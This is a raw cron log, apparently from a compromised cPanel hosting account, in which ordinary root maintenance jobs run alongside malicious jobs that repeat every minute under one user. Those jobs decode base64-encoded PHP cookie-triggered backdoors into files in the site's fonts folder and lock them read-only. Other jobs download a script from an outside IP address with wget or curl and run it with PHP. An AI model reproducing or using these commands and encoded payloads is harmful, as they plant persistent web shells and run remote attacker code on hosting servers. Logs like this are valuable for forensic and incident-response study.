Sep 22 08:05:02 ip-184-168-122-23 CROND[22542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:05:02 ip-184-168-122-23 CROND[22545]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 08:05:02 ip-184-168-122-23 CROND[22544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:05:02 ip-184-168-122-23 CROND[22543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:05:02 ip-184-168-122-23 CROND[22546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:06:02 ip-184-168-122-23 CROND[22800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:06:02 ip-184-168-122-23 CROND[22801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:06:02 ip-184-168-122-23 CROND[22803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:06:02 ip-184-168-122-23 CROND[22805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:06:02 ip-184-168-122-23 CROND[22802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:07:01 ip-184-168-122-23 CROND[23001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:07:01 ip-184-168-122-23 CROND[23003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:07:01 ip-184-168-122-23 CROND[23004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:07:01 ip-184-168-122-23 CROND[23005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:08:01 ip-184-168-122-23 CROND[23137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:08:01 ip-184-168-122-23 CROND[23139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:08:01 ip-184-168-122-23 CROND[23141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:08:01 ip-184-168-122-23 CROND[23142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:08:01 ip-184-168-122-23 CROND[23140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:09:01 ip-184-168-122-23 CROND[23257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:09:01 ip-184-168-122-23 CROND[23259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:09:01 ip-184-168-122-23 CROND[23261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:09:01 ip-184-168-122-23 CROND[23260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:09:01 ip-184-168-122-23 CROND[23262]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 08:10:01 ip-184-168-122-23 CROND[23395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:10:01 ip-184-168-122-23 CROND[23398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:10:01 ip-184-168-122-23 CROND[23399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 08:10:01 ip-184-168-122-23 CROND[23401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:10:01 ip-184-168-122-23 CROND[23404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:10:01 ip-184-168-122-23 CROND[23406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:10:01 ip-184-168-122-23 CROND[23407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:10:01 ip-184-168-122-23 CROND[23408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:11:01 ip-184-168-122-23 CROND[23543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:11:01 ip-184-168-122-23 CROND[23542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:11:01 ip-184-168-122-23 CROND[23547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:11:01 ip-184-168-122-23 CROND[23544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:12:01 ip-184-168-122-23 CROND[23683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:12:01 ip-184-168-122-23 CROND[23686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:12:01 ip-184-168-122-23 CROND[23687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:12:01 ip-184-168-122-23 CROND[23685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:12:01 ip-184-168-122-23 CROND[23689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:13:01 ip-184-168-122-23 CROND[23931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:13:01 ip-184-168-122-23 CROND[23934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:13:01 ip-184-168-122-23 CROND[23933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:13:01 ip-184-168-122-23 CROND[23935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:14:02 ip-184-168-122-23 CROND[24068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:14:02 ip-184-168-122-23 CROND[24071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:14:02 ip-184-168-122-23 CROND[24070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:14:02 ip-184-168-122-23 CROND[24072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:14:02 ip-184-168-122-23 CROND[24074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24213]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:15:01 ip-184-168-122-23 CROND[24214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:16:01 ip-184-168-122-23 CROND[24374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:16:01 ip-184-168-122-23 CROND[24375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:16:01 ip-184-168-122-23 CROND[24378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:16:01 ip-184-168-122-23 CROND[24380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:16:01 ip-184-168-122-23 CROND[24383]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 08:16:01 ip-184-168-122-23 CROND[24381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
